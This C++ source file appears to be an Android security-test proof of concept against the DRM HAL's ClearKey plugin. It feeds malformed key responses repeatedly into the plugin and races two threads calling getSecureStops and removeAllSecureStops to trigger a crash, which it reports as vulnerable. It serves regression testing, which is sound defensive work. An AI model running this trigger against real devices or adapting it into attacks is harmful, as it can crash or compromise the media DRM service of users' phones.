1 /**
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #include <android/hidl/manager/1.0/IServiceManager.h>
17 #include <android/hardware/drm/1.1/IDrmFactory.h>
18 #include <android/hardware/drm/1.1/IDrmPlugin.h>
19 #include <pthread.h>
20 #include <signal.h>
21 #include <utils/Log.h>
22 #include <utils/String8.h>
23 #include <utils/Vector.h>
24 
25 #include "../includes/common.h"
26 
27 using ::android::sp;
28 using ::android::String8;
29 using ::android::Vector;
30 using ::android::hardware::hidl_string;
31 using ::android::hardware::hidl_vec;
32 using ::android::hardware::drm::V1_0::IDrmFactory;
33 using ::android::hardware::drm::V1_0::IDrmPlugin;
34 using ::android::hardware::drm::V1_0::SecureStop;
35 using ::android::hardware::drm::V1_0::Status;
36 using ::android::hardware::drm::V1_1::SecurityLevel;
37 using ::android::hidl::manager::V1_0::IServiceManager;
38 
39 static Vector<uint8_t> sessionId;
40 
41 static Vector<sp<IDrmFactory>> drmFactories;
42 static sp<IDrmPlugin> drmPlugin;
43 static sp<::android::hardware::drm::V1_1::IDrmPlugin> drmPluginV1_1;
44 
handler(int)45 static void handler(int) {
46   ALOGI("Good, the test condition has been triggered");
47   exit(EXIT_VULNERABLE);
48 }
49 
toVector(const hidl_vec<uint8_t> & vec)50 static const Vector<uint8_t> toVector(const hidl_vec<uint8_t> &vec) {
51   Vector<uint8_t> vector;
52   vector.appendArray(vec.data(), vec.size());
53   return *const_cast<const Vector<uint8_t> *>(&vector);
54 }
55 
toHidlVec(const Vector<uint8_t> & vector)56 static hidl_vec<uint8_t> toHidlVec(const Vector<uint8_t> &vector) {
57   hidl_vec<uint8_t> vec;
58   vec.setToExternal(const_cast<uint8_t *>(vector.array()), vector.size());
59   return vec;
60 }
61 
makeDrmFactories()62 static void makeDrmFactories() {
63   sp<IServiceManager> serviceManager = IServiceManager::getService();
64   if (serviceManager == NULL) {
65     ALOGE("Failed to get service manager");
66     exit(-1);
67   }
68   serviceManager->listByInterface(
69       IDrmFactory::descriptor,
70       [](const hidl_vec<hidl_string> &registered) {
71         for (const auto &instance : registered) {
72           auto factory = IDrmFactory::getService(instance);
73           if (factory != NULL) {
74             ALOGV("found drm@1.0 IDrmFactory %s", instance.c_str());
75             drmFactories.push_back(factory);
76           }
77         }
78       });
79 
80   serviceManager->listByInterface(
81       ::android::hardware::drm::V1_1::IDrmFactory::descriptor,
82       [](const hidl_vec<hidl_string> &registered) {
83         for (const auto &instance : registered) {
84           auto factory =
85               ::android::hardware::drm::V1_1::IDrmFactory::getService(instance);
86           if (factory != NULL) {
87             ALOGV("found drm@1.1 IDrmFactory %s", instance.c_str());
88             drmFactories.push_back(factory);
89           }
90         }
91       });
92 
93   return;
94 }
95 
makeDrmPlugin(const sp<IDrmFactory> & factory,const uint8_t uuid[16],const String8 & appPackageName)96 static sp<IDrmPlugin> makeDrmPlugin(const sp<IDrmFactory> &factory,
97                                     const uint8_t uuid[16],
98                                     const String8 &appPackageName) {
99   sp<IDrmPlugin> plugin;
100   factory->createPlugin(uuid, appPackageName.string(),
101                         [&](Status status, const sp<IDrmPlugin> &hPlugin) {
102                           if (status != Status::OK) {
103                             return;
104                           }
105                           plugin = hPlugin;
106                         });
107   return plugin;
108 }
109 
createPlugin()110 static void createPlugin() {
111   const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
112                             0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
113   for (size_t i = 0; i < drmFactories.size(); i++) {
114     if (drmFactories[i]->isCryptoSchemeSupported(uuid)) {
115       drmPlugin = makeDrmPlugin(drmFactories[i], uuid, String8("ele7enxxh"));
116       if (drmPlugin != NULL)
117         drmPluginV1_1 =
118             ::android::hardware::drm::V1_1::IDrmPlugin::castFrom(drmPlugin);
119     }
120   }
121 
122   if (drmPlugin == NULL) {
123     ALOGE("Failed to create drm plugin");
124     exit(-1);
125   }
126 
127   return;
128 }
129 
openSession()130 static void openSession() {
131   if (drmPluginV1_1)
132     drmPluginV1_1->openSession_1_1(
133         SecurityLevel::SW_SECURE_CRYPTO,
134         [&](Status status, const hidl_vec<uint8_t> &id) {
135           if (status != Status::OK) {
136             ALOGE("Failed to open session v1_1");
137             exit(-1);
138           }
139           sessionId = toVector(id);
140         });
141   else {
142     drmPlugin->openSession([&](Status status, const hidl_vec<uint8_t> &id) {
143       if (status != Status::OK) {
144         ALOGE("Failed to open session");
145         exit(-1);
146       }
147       sessionId = toVector(id);
148     });
149   }
150 
151   return;
152 }
153 
provideKeyResponse()154 static void provideKeyResponse() {
155   const char key[] =
156       "{\"keys\":[{\"kty\":\"oct\""
157       "\"alg\":\"A128KW1\"}{\"kty\":\"oct\"\"alg\":\"A128KW2\""
158       "\"k\":\"SGVsbG8gRnJpZW5kIQ\"\"kid\":\"Y2xlYXJrZXlrZXlpZDAy\"}"
159       "{\"kty\":\"oct\"\"alg\":\"A128KW3\""
160       "\"kid\":\"Y2xlYXJrZXlrZXlpZDAz\"\"k\":\"R29vZCBkYXkh\"}]}";
161   Vector<uint8_t> response;
162   response.appendArray((const unsigned char *)key, strlen(key));
163   drmPlugin->provideKeyResponse(toHidlVec(sessionId), toHidlVec(response),
164                                 [&](Status status, const hidl_vec<uint8_t> &) {
165                                   if (status != Status::OK) {
166                                     ALOGE("Failed to provide key response");
167                                     exit(-1);
168                                   }
169                                 });
170 
171   return;
172 }
173 
getSecureStops(void *)174 static void *getSecureStops(void *) {
175   drmPlugin->getSecureStops([&](Status status, const hidl_vec<SecureStop> &) {
176     if (status != Status::OK) {
177       ALOGE("Failed to get secure stops");
178       exit(-1);
179     }
180   });
181 
182   return NULL;
183 }
184 
removeAllSecureStops(void *)185 static void *removeAllSecureStops(void *) {
186   if (drmPluginV1_1 != NULL)
187     drmPluginV1_1->removeAllSecureStops();
188   else
189     drmPlugin->releaseAllSecureStops();
190 
191   return NULL;
192 }
193 
main(void)194 int main(void) {
195   signal(SIGABRT, handler);
196 
197   makeDrmFactories();
198 
199   createPlugin();
200 
201   openSession();
202 
203   size_t loop = 1000;
204   while (loop--) provideKeyResponse();
205 
206   pthread_t threads[2];
207   pthread_create(&threads[0], NULL, getSecureStops, NULL);
208   pthread_create(&threads[1], NULL, removeAllSecureStops, NULL);
209   pthread_join(threads[0], NULL);
210   pthread_join(threads[1], NULL);
211 
212   return 0;
213 }
214